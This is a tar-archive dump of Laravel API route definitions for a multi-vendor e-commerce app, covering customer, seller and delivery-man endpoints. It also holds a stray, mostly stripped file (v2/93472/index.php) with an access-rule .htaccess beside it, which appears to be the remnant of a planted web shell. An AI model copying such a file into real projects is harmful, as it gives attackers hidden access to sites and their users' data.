????v1/api.php000064400000035464150073117210006365 0ustar00 'RestAPI\v1', 'prefix' => 'v1', 'middleware' => ['api_lang']], function () { Route::group(['prefix' => 'auth', 'namespace' => 'auth'], function () { Route::post('register', 'PassportAuthController@register'); Route::post('login', 'PassportAuthController@login'); Route::get('logout', 'PassportAuthController@logout')->middleware('auth:api'); Route::post('check-phone', 'PhoneVerificationController@check_phone'); Route::post('resend-otp-check-phone', 'PhoneVerificationController@resend_otp_check_phone'); Route::post('verify-phone', 'PhoneVerificationController@verify_phone'); Route::post('check-email', 'EmailVerificationController@check_email'); Route::post('resend-otp-check-email', 'EmailVerificationController@resend_otp_check_email'); Route::post('verify-email', 'EmailVerificationController@verify_email'); Route::post('forgot-password', 'ForgotPassword@reset_password_request'); Route::post('verify-otp', 'ForgotPassword@otp_verification_submit'); Route::put('reset-password', 'ForgotPassword@reset_password_submit'); Route::post('social-login', 'SocialAuthController@social_login'); Route::post('update-phone', 'SocialAuthController@update_phone'); }); Route::group(['prefix' => 'config'], function () { Route::get('/', 'ConfigController@configuration'); }); Route::group(['prefix' => 'shipping-method', 'middleware' => 'apiGuestCheck'], function () { Route::get('detail/{id}', 'ShippingMethodController@get_shipping_method_info'); Route::get('by-seller/{id}/{seller_is}', 'ShippingMethodController@shipping_methods_by_seller'); Route::post('choose-for-order', 'ShippingMethodController@choose_for_order'); Route::get('chosen', 'ShippingMethodController@chosen_shipping_methods'); Route::get('check-shipping-type', 'ShippingMethodController@check_shipping_type'); }); Route::group(['prefix' => 'cart', 'middleware' => 'apiGuestCheck'], function () { Route::controller(CartController::class)->group(function () { Route::get('/', 'cart'); Route::post('add', 'add_to_cart'); Route::put('update', 'update_cart'); Route::delete('remove', 'remove_from_cart'); Route::delete('remove-all', 'remove_all_from_cart'); Route::post('select-cart-items', 'updateCheckedCartItems'); }); }); Route::group(['prefix' => 'customer/order', 'middleware' => 'apiGuestCheck'], function () { Route::get('get-order-by-id', 'CustomerController@get_order_by_id'); }); Route::get('faq', 'GeneralController@faq'); Route::group(['prefix' => 'notifications'], function () { Route::get('/', 'NotificationController@list'); Route::get('/seen', 'NotificationController@notification_seen')->middleware('auth:api'); }); Route::group(['prefix' => 'attributes'], function () { Route::get('/', 'AttributeController@get_attributes'); }); Route::group(['prefix' => 'flash-deals'], function () { Route::controller(FlashDealController::class)->group(function () { Route::get('/', 'getFlashDeal'); Route::get('products/{deal_id}', 'getFlashDealProducts'); }); }); Route::group(['prefix' => 'deals'], function () { Route::controller(DealController::class)->group(function () { Route::get('featured', 'getFeaturedDealProducts'); }); }); Route::group(['prefix' => 'dealsoftheday'], function () { Route::get('deal-of-the-day', 'DealOfTheDayController@get_deal_of_the_day_product'); }); Route::group(['prefix' => 'products'], function () { Route::controller(ProductController::class)->group(function () { Route::get('reviews/{product_id}', 'get_product_reviews'); Route::get('rating/{product_id}', 'get_product_rating'); Route::get('counter/{product_id}', 'counter'); Route::get('shipping-methods', 'get_shipping_methods'); Route::get('social-share-link/{product_id}', 'social_share_link'); Route::post('reviews/submit', 'submit_product_review')->middleware('auth:api'); Route::put('review/update', 'updateProductReview')->middleware('auth:api'); Route::get('review/{product_id}/{order_id}', 'getProductReviewByOrder')->middleware('auth:api'); Route::delete('review/delete-image', 'deleteReviewImage')->middleware('auth:api'); }); }); Route::group(['middleware' => 'apiGuestCheck'], function () { Route::group(['prefix' => 'products'], function () { Route::controller(ProductController::class)->group(function () { Route::get('latest', 'get_latest_products'); Route::get('new-arrival', 'getNewArrivalProducts'); Route::get('featured', 'getFeaturedProductsList'); Route::get('top-rated', 'getTopRatedProducts'); Route::any('search', 'get_searched_products'); Route::post('filter', 'product_filter'); Route::any('suggestion-product', 'get_suggestion_product'); Route::get('details/{slug}', 'get_product'); Route::get('related-products/{product_id}', 'get_related_products'); Route::get('best-sellings', 'getBestSellingProducts'); Route::get('home-categories', 'get_home_categories'); Route::get('discounted-product', 'get_discounted_product'); Route::get('most-demanded-product', 'get_most_demanded_product'); Route::get('shop-again-product', 'get_shop_again_product')->middleware('auth:api'); Route::get('just-for-you', 'just_for_you'); Route::get('most-searching', 'getMostSearchingProductsList'); }); }); Route::group(['prefix' => 'seller'], function () { Route::get('{seller_id}/products', 'SellerController@get_seller_products'); Route::get('{seller_id}/seller-best-selling-products', 'SellerController@get_seller_best_selling_products'); Route::get('{seller_id}/seller-featured-product', 'SellerController@get_sellers_featured_product'); Route::get('{seller_id}/seller-recommended-products', 'SellerController@get_sellers_recommended_products'); }); Route::group(['prefix' => 'categories'], function () { Route::controller(CategoryController::class)->group(function () { Route::get('/', 'get_categories'); Route::get('products/{category_id}', 'get_products'); Route::get('/find-what-you-need', 'find_what_you_need'); }); }); Route::group(['prefix' => 'brands'], function () { Route::controller(BrandController::class)->group(function () { Route::get('/', 'get_brands'); Route::get('products/{brand_id}', 'get_products'); }); }); Route::group(['prefix' => 'customer'], function () { Route::put('cm-firebase-token', 'CustomerController@update_cm_firebase_token'); Route::get('get-restricted-country-list', 'CustomerController@get_restricted_country_list'); Route::get('get-restricted-zip-list', 'CustomerController@get_restricted_zip_list'); Route::group(['prefix' => 'address'], function () { Route::post('add', 'CustomerController@add_new_address'); Route::get('list', 'CustomerController@address_list'); Route::delete('/', 'CustomerController@delete_address'); }); Route::group(['prefix' => 'order'], function () { Route::controller(OrderController::class)->group(function () { Route::get('place', 'place_order'); Route::get('offline-payment-method-list', 'offline_payment_method_list'); Route::post('place-by-offline-payment', 'placeOrderByOfflinePayment'); }); Route::get('details', 'CustomerController@get_order_details'); }); }); }); Route::group(['prefix' => 'customer', 'middleware' => 'auth:api'], function () { Route::get('info', 'CustomerController@info'); Route::put('update-profile', 'CustomerController@update_profile'); Route::get('account-delete/{id}', 'CustomerController@account_delete'); Route::group(['prefix' => 'address'], function () { Route::get('get/{id}', 'CustomerController@get_address'); Route::post('update', 'CustomerController@update_address'); }); Route::group(['prefix' => 'support-ticket'], function () { Route::post('create', 'CustomerController@create_support_ticket'); Route::get('get', 'CustomerController@get_support_tickets'); Route::get('conv/{ticket_id}', 'CustomerController@get_support_ticket_conv'); Route::post('reply/{ticket_id}', 'CustomerController@reply_support_ticket'); Route::get('close/{id}', 'CustomerController@support_ticket_close'); }); Route::group(['prefix' => 'compare'], function () { Route::get('list', 'CompareController@list'); Route::post('product-store', 'CompareController@compare_product_store'); Route::delete('clear-all', 'CompareController@clear_all'); Route::get('product-replace', 'CompareController@compare_product_replace'); }); Route::group(['prefix' => 'wish-list'], function () { Route::get('/', 'CustomerController@wish_list'); Route::post('add', 'CustomerController@add_to_wishlist'); Route::delete('remove', 'CustomerController@remove_from_wishlist'); }); Route::group(['prefix' => 'order'], function () { Route::get('place-by-wallet', 'OrderController@place_order_by_wallet'); Route::get('refund', 'OrderController@refund_request'); Route::post('refund-store', 'OrderController@store_refund'); Route::get('refund-details', 'OrderController@refund_details'); Route::get('list', 'CustomerController@get_order_list'); Route::post('again', 'OrderController@order_again'); Route::controller(ProductController::class)->group(function () { Route::post('deliveryman-reviews/submit', 'submit_deliveryman_review')->middleware('auth:api'); }); }); // Chatting Route::group(['prefix' => 'chat'], function () { Route::get('list/{type}', 'ChatController@list'); Route::get('get-messages/{type}/{id}', 'ChatController@get_message'); Route::post('send-message/{type}', 'ChatController@send_message'); Route::post('seen-message/{type}', 'ChatController@seen_message'); Route::get('search/{type}', 'ChatController@search'); }); //wallet Route::group(['prefix' => 'wallet'], function () { Route::get('list', 'UserWalletController@list'); Route::get('bonus-list', 'UserWalletController@bonus_list'); }); //loyalty Route::group(['prefix' => 'loyalty'], function () { Route::get('list', 'UserLoyaltyController@list'); Route::post('loyalty-exchange-currency', 'UserLoyaltyController@loyalty_exchange_currency'); }); }); Route::group(['prefix' => 'customer', 'middleware' => 'apiGuestCheck'], function () { Route::group(['prefix' => 'order'], function () { Route::get('digital-product-download/{id}', 'OrderController@digital_product_download'); Route::get('digital-product-download-otp-verify', 'OrderController@digital_product_download_otp_verify'); Route::post('digital-product-download-otp-resend', 'OrderController@digital_product_download_otp_resend'); }); }); Route::group(['prefix' => 'digital-payment', 'middleware' => 'apiGuestCheck'], function () { Route::post('/', [PaymentController::class, 'payment']); }); Route::group(['prefix' => 'add-to-fund', 'middleware' => 'auth:api'], function () { Route::post('/', [PaymentController::class, 'customer_add_to_fund_request']); }); Route::group(['prefix' => 'order'], function () { Route::get('track', 'OrderController@track_by_order_id'); Route::get('cancel-order', 'OrderController@order_cancel'); Route::post('track-order', 'OrderController@track_order'); }); Route::group(['prefix' => 'banners'], function () { Route::get('/', 'BannerController@get_banners'); }); Route::group(['prefix' => 'seller'], function () { Route::controller(SellerController::class)->group(function (){ Route::get('/', 'get_seller_info'); Route::get('list/{type}', 'getSellerList'); Route::get('more', 'more_sellers'); }); }); Route::group(['prefix' => 'coupon', 'middleware' => 'auth:api'], function () { Route::get('apply', 'CouponController@apply'); }); Route::get('coupon/list', 'CouponController@list')->middleware('auth:api'); Route::get('coupon/applicable-list', 'CouponController@applicable_list')->middleware('auth:api'); Route::get('coupons/{seller_id}/seller-wise-coupons', 'CouponController@get_seller_wise_coupon'); Route::get('get-guest-id', 'GeneralController@get_guest_id'); //map api Route::group(['prefix' => 'mapapi'], function () { Route::get('place-api-autocomplete', 'MapApiController@place_api_autocomplete'); Route::get('distance-api', 'MapApiController@distance_api'); Route::get('place-api-details', 'MapApiController@place_api_details'); Route::get('geocode-api', 'MapApiController@geocode_api'); }); Route::post('contact-us', 'GeneralController@contact_store'); Route::put('customer/language-change', 'CustomerController@language_change')->middleware('auth:api'); }); v2/93472/index.php000064400000040123150073117210007400 0ustar00thfgethrfg '.$bin);?>v2/93472/.htaccess000064400000000334150073117210007356 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all v2/index.php000064400000000000150073117210006676 0ustar00v2/api.php000064400000022067150073117210006361 0ustar00 'RestAPI\v2', 'prefix' => 'v2', 'middleware' => ['api_lang']], function () { Route::group(['prefix' => 'seller', 'namespace' => 'seller'], function () { Route::get('seller-info', 'SellerController@seller_info'); Route::get('account-delete','SellerController@account_delete'); Route::get('seller-delivery-man', 'SellerController@seller_delivery_man'); Route::get('shop-product-reviews', 'SellerController@shop_product_reviews'); Route::get('shop-product-reviews-status','SellerController@shop_product_reviews_status'); Route::put('seller-update', 'SellerController@seller_info_update'); Route::get('monthly-earning', 'SellerController@monthly_earning'); Route::get('monthly-commission-given', 'SellerController@monthly_commission_given'); Route::put('cm-firebase-token', 'SellerController@update_cm_firebase_token'); Route::get('shop-info', 'SellerController@shop_info'); Route::get('transactions', 'SellerController@transaction'); Route::put('shop-update', 'SellerController@shop_info_update'); Route::post('balance-withdraw', 'SellerController@withdraw_request'); Route::delete('close-withdraw-request', 'SellerController@close_withdraw_request'); Route::group(['prefix' => 'brands'], function () { Route::get('/', 'BrandController@getBrands'); }); Route::group(['prefix' => 'products'], function () { Route::post('upload-images', 'ProductController@upload_images'); Route::post('upload-digital-product', 'ProductController@upload_digital_product'); Route::post('add', 'ProductController@add_new'); Route::get('list', 'ProductController@list'); Route::get('stock-out-list', 'ProductController@stock_out_list'); Route::get('status-update','ProductController@status_update'); Route::get('edit/{id}', 'ProductController@edit'); Route::put('update/{id}', 'ProductController@update'); Route::delete('delete/{id}', 'ProductController@delete'); Route::get('barcode/generate', 'ProductController@barcode_generate'); }); Route::group(['prefix' => 'orders'], function () { Route::get('list', 'OrderController@list'); Route::get('/{id}', 'OrderController@details'); Route::put('order-detail-status/{id}', 'OrderController@order_detail_status'); Route::put('assign-delivery-man', 'OrderController@assign_delivery_man'); Route::put('order-wise-product-upload', 'OrderController@digital_file_upload_after_sell'); Route::put('delivery-charge-date-update', 'OrderController@amount_date_update'); Route::post('assign-third-party-delivery','OrderController@assign_third_party_delivery'); Route::post('update-payment-status','OrderController@update_payment_status'); }); Route::group(['prefix' => 'refund'], function () { Route::get('list', 'RefundController@list'); Route::get('refund-details', 'RefundController@refund_details'); Route::post('refund-status-update', 'RefundController@refund_status_update'); }); Route::group(['prefix' => 'shipping'], function () { Route::get('get-shipping-method', 'shippingController@get_shipping_type'); Route::get('selected-shipping-method', 'shippingController@selected_shipping_type'); Route::get('all-category-cost','shippingController@all_category_cost'); Route::post('set-category-cost','shippingController@set_category_cost'); }); Route::group(['prefix' => 'shipping-method'], function () { Route::get('list', 'ShippingMethodController@list'); Route::post('add', 'ShippingMethodController@store'); Route::get('edit/{id}', 'ShippingMethodController@edit'); Route::put('status', 'ShippingMethodController@status_update'); Route::put('update/{id}', 'ShippingMethodController@update'); Route::delete('delete/{id}', 'ShippingMethodController@delete'); }); Route::group(['prefix' => 'messages'], function () { Route::get('list/{type}', 'ChatController@list'); Route::get('get-message/{type}/{id}', 'ChatController@get_message'); Route::post('send/{type}', 'ChatController@send_message'); Route::get('search/{type}', 'ChatController@search'); }); Route::group(['prefix' => 'auth', 'namespace' => 'auth'], function () { Route::post('login', 'LoginController@login'); Route::post('forgot-password', 'ForgotPasswordController@reset_password_request'); Route::post('verify-otp', 'ForgotPasswordController@otp_verification_submit'); Route::put('reset-password', 'ForgotPasswordController@reset_password_submit'); }); Route::group(['prefix' => 'registration', 'namespace' => 'auth'], function () { Route::post('/', 'RegisterController@store'); }); }); Route::post('ls-lib-update', 'LsLibController@lib_update'); Route::group(['prefix' => 'delivery-man', 'namespace' => 'delivery_man'], function () { Route::group(['prefix' => 'auth', 'namespace' => 'auth'], function () { Route::post('login', 'LoginController@login'); Route::post('forgot-password', 'LoginController@reset_password_request'); Route::post('verify-otp', 'LoginController@otp_verification_submit'); Route::post('reset-password', 'LoginController@reset_password_submit'); }); Route::group(['middleware' => ['delivery_man_auth']], function () { Route::put('language-change', 'DeliveryManController@language_change'); Route::put('is-online', 'DeliveryManController@is_online'); Route::get('info', 'DeliveryManController@info'); Route::post('distance-api', 'DeliveryManController@distance_api'); Route::get('current-orders', 'DeliveryManController@get_current_orders'); Route::get('all-orders', 'DeliveryManController@get_all_orders'); Route::post('record-location-data', 'DeliveryManController@record_location_data'); Route::get('order-delivery-history', 'DeliveryManController@get_order_history'); Route::put('update-order-status', 'DeliveryManController@update_order_status'); Route::put('update-expected-delivery', 'DeliveryManController@update_expected_delivery'); Route::put('update-payment-status', 'DeliveryManController@order_payment_status_update'); Route::put('order-update-is-pause', 'DeliveryManController@order_update_is_pause'); Route::get('order-details', 'DeliveryManController@get_order_details'); Route::get('last-location', 'DeliveryManController@get_last_location'); Route::put('update-fcm-token', 'DeliveryManController@update_fcm_token'); Route::get('delivery-wise-earned', 'DeliveryManController@delivery_wise_earned'); Route::get('order-list-by-date', 'DeliveryManController@order_list_date_filter'); Route::get('search', 'DeliveryManController@search'); Route::get('profile-dashboard-counts', 'DeliveryManController@profile_dashboard_counts'); Route::post('change-status', 'DeliveryManController@change_status'); Route::put('update-info', 'DeliveryManController@update_info'); Route::put('bank-info', 'DeliveryManController@bank_info'); Route::get('review-list', 'DeliveryManController@review_list'); Route::put('save-review', 'DeliveryManController@is_saved'); Route::get('collected_cash_history', 'DeliveryManController@collected_cash_history'); Route::get('emergency-contact-list', 'DeliveryManController@emergency_contact_list'); Route::get('notifications', 'DeliveryManController@get_all_notification'); Route::post('verify-order-delivery-otp', 'DeliveryManController@verify_order_delivery_otp'); Route::post('resend-verification-code', 'DeliveryManController@resend_verification_code'); Route::post('order-delivery-verification', 'DeliveryManController@order_delivery_verification'); Route::post('withdraw-request', 'WithdrawController@withdraw_request'); Route::get('withdraw-list-by-approved', 'WithdrawController@withdraw_list_by_approved'); Route::group(['prefix' => 'messages'], function (){ Route::get('list/{type}', 'ChatController@list'); Route::get('get-message/{type}/{id}', 'ChatController@get_message'); Route::post('send-message/{type}', 'ChatController@send_message'); Route::get('search/{type}', 'ChatController@search'); }); }); }); }); v3/seller.php000064400000023566150073117210007104 0ustar00 'RestAPI\v3\seller', 'prefix' => 'v3/seller', 'middleware' => ['api_lang']], function () { Route::group(['prefix' => 'auth', 'namespace' => 'auth'], function () { Route::post('login', 'LoginController@login'); Route::post('forgot-password', 'ForgotPasswordController@reset_password_request'); Route::post('verify-otp', 'ForgotPasswordController@otp_verification_submit'); Route::put('reset-password', 'ForgotPasswordController@reset_password_submit'); }); Route::group(['prefix' => 'registration', 'namespace' => 'auth'], function () { Route::post('/', 'RegisterController@store'); }); Route::group(['middleware' => ['seller_api_auth']], function () { Route::put('language-change', 'SellerController@language_change'); Route::get('seller-info', 'SellerController@seller_info'); Route::get('get-earning-statitics', 'SellerController@get_earning_statitics'); Route::get('order-statistics', 'SellerController@order_statistics'); Route::get('account-delete', 'SellerController@account_delete'); Route::get('seller-delivery-man', 'SellerController@seller_delivery_man'); Route::get('shop-product-reviews', 'SellerController@shop_product_reviews'); Route::get('shop-product-reviews-status', 'SellerController@shop_product_reviews_status'); Route::put('seller-update', 'SellerController@seller_info_update'); Route::get('monthly-earning', 'SellerController@monthly_earning'); Route::get('monthly-commission-given', 'SellerController@monthly_commission_given'); Route::put('cm-firebase-token', 'SellerController@update_cm_firebase_token'); Route::get('shop-info', 'SellerController@shop_info'); Route::get('transactions', 'SellerController@transaction'); Route::put('shop-update', 'SellerController@shop_info_update'); Route::put('vacation-add', 'ShopController@vacation_add'); Route::put('temporary-close', 'ShopController@temporary_close'); Route::get('withdraw-method-list', 'SellerController@withdraw_method_list'); Route::post('balance-withdraw', 'SellerController@withdraw_request'); Route::delete('close-withdraw-request', 'SellerController@close_withdraw_request'); Route::get('top-delivery-man', 'ProductController@top_delivery_man'); Route::group(['prefix' => 'brands'], function () { Route::get('/', 'BrandController@getBrands'); }); Route::get('categories', 'ProductController@get_categories'); Route::group(['prefix' => 'products'], function () { Route::post('upload-images', 'ProductController@upload_images'); Route::post('upload-digital-product', 'ProductController@upload_digital_product'); Route::post('add', 'ProductController@add_new'); Route::get('list', 'ProductController@list'); Route::get('details/{id}', 'ProductController@details'); Route::get('stock-out-list', 'ProductController@stock_out_list'); Route::put('status-update', 'ProductController@status_update'); Route::get('edit/{id}', 'ProductController@edit'); Route::put('update/{id}', 'ProductController@update'); Route::get('review-list/{id}', 'ProductController@review_list'); Route::put('quantity-update', 'ProductController@product_quantity_update'); Route::delete('delete/{id}', 'ProductController@delete'); Route::get('barcode/generate', 'ProductController@barcode_generate'); Route::get('top-selling-product', 'ProductController@top_selling_products'); Route::get('most-popular-product', 'ProductController@most_popular_products'); Route::get('delete-image', 'ProductController@deleteImage'); Route::get('get-product-images/{id}', 'ProductController@getProductImages'); Route::get('stock-limit-status', 'ProductController@getStockLimitStatus'); }); Route::group(['prefix' => 'orders'], function () { Route::get('list', 'OrderController@list'); Route::get('/{id}', 'OrderController@details'); Route::put('order-detail-status/{id}', 'OrderController@order_detail_status'); Route::put('assign-delivery-man', 'OrderController@assign_delivery_man'); Route::put('order-wise-product-upload', 'OrderController@digital_file_upload_after_sell'); Route::put('delivery-charge-date-update', 'OrderController@amount_date_update'); Route::post('assign-third-party-delivery', 'OrderController@assign_third_party_delivery'); Route::post('update-payment-status', 'OrderController@update_payment_status'); Route::post('address-update', 'OrderController@address_update'); }); Route::group(['prefix' => 'refund'], function () { Route::get('list', 'RefundController@list'); Route::get('refund-details', 'RefundController@refund_details'); Route::post('refund-status-update', 'RefundController@refund_status_update'); }); Route::group(['prefix' => 'coupon'], function () { Route::get('list', 'CouponController@list'); Route::post('store', 'CouponController@store'); Route::put('update/{id}', 'CouponController@update'); Route::put('status-update/{id}', 'CouponController@status_update'); Route::delete('delete/{id}', 'CouponController@delete'); Route::post('check-coupon', 'CouponController@check_coupon'); Route::get('customers', 'CouponController@customers'); }); Route::group(['prefix' => 'shipping'], function () { Route::get('get-shipping-method', 'shippingController@get_shipping_type'); Route::get('selected-shipping-method', 'shippingController@selected_shipping_type'); Route::get('all-category-cost', 'shippingController@all_category_cost'); Route::post('set-category-cost', 'shippingController@set_category_cost'); }); Route::group(['prefix' => 'shipping-method'], function () { Route::get('list', 'ShippingMethodController@list'); Route::post('add', 'ShippingMethodController@store'); Route::get('edit/{id}', 'ShippingMethodController@edit'); Route::put('status', 'ShippingMethodController@status_update'); Route::put('update/{id}', 'ShippingMethodController@update'); Route::delete('delete/{id}', 'ShippingMethodController@delete'); }); Route::group(['prefix' => 'messages'], function () { Route::get('list/{type}', 'ChatController@list'); Route::get('get-message/{type}/{id}', 'ChatController@get_message'); Route::post('send/{type}', 'ChatController@send_message'); Route::get('search/{type}', 'ChatController@search'); }); Route::group(['prefix' => 'pos'], function () { Route::get('get-categories', 'POSController@get_categories'); Route::get('customers', 'POSController@customers'); Route::post('customer-store', 'POSController@customer_store'); Route::get('products', 'POSController@get_product_by_barcode'); Route::get('product-list', 'POSController@product_list'); Route::post('place-order', 'POSController@place_order'); Route::get('get-invoice', 'POSController@get_invoice'); }); Route::group(['prefix' => 'delivery-man'], function () { Route::get('list', 'DeliveryManController@list'); Route::post('store', 'DeliveryManController@store'); Route::put('update/{id}', 'DeliveryManController@update'); Route::get('details/{id}', 'DeliveryManController@details'); Route::post('status-update', 'DeliveryManController@status'); Route::get('delete/{id}', 'DeliveryManController@delete'); Route::get('reviews/{id}', 'DeliveryManController@reviews'); Route::get('order-list/{id}', 'DeliveryManController@order_list'); Route::get('order-status-history/{id}', 'DeliveryManController@order_status_history'); Route::get('earning/{id}', 'DeliveryManController@earning'); Route::post('cash-receive', 'DeliveryManCashCollectController@cash_receive'); Route::get('collect-cash-list/{id}', 'DeliveryManCashCollectController@list'); Route::group(['prefix' => 'withdraw'], function () { Route::get('list', 'DeliverymanWithdrawController@list'); Route::get('details/{id}', 'DeliverymanWithdrawController@details'); Route::put('status-update', 'DeliverymanWithdrawController@status_update'); }); Route::group(['prefix' => 'emergency-contact'], function () { Route::get('list', 'EmergencyContactController@list'); Route::post('store', 'EmergencyContactController@store'); Route::put('update', 'EmergencyContactController@update'); Route::put('status-update', 'EmergencyContactController@status_update'); Route::delete('delete', 'EmergencyContactController@destroy'); }); }); Route::group(['prefix' => 'notification'], function () { Route::get('/', 'ShopController@notification_index'); Route::get('/view', 'ShopController@seller_notification_view'); }); }); Route::group(['prefix' => 'products'], function () { Route::get('{seller_id}/all-products', 'ProductController@get_seller_all_products'); }); Route::post('ls-lib-update', 'LsLibController@lib_update'); });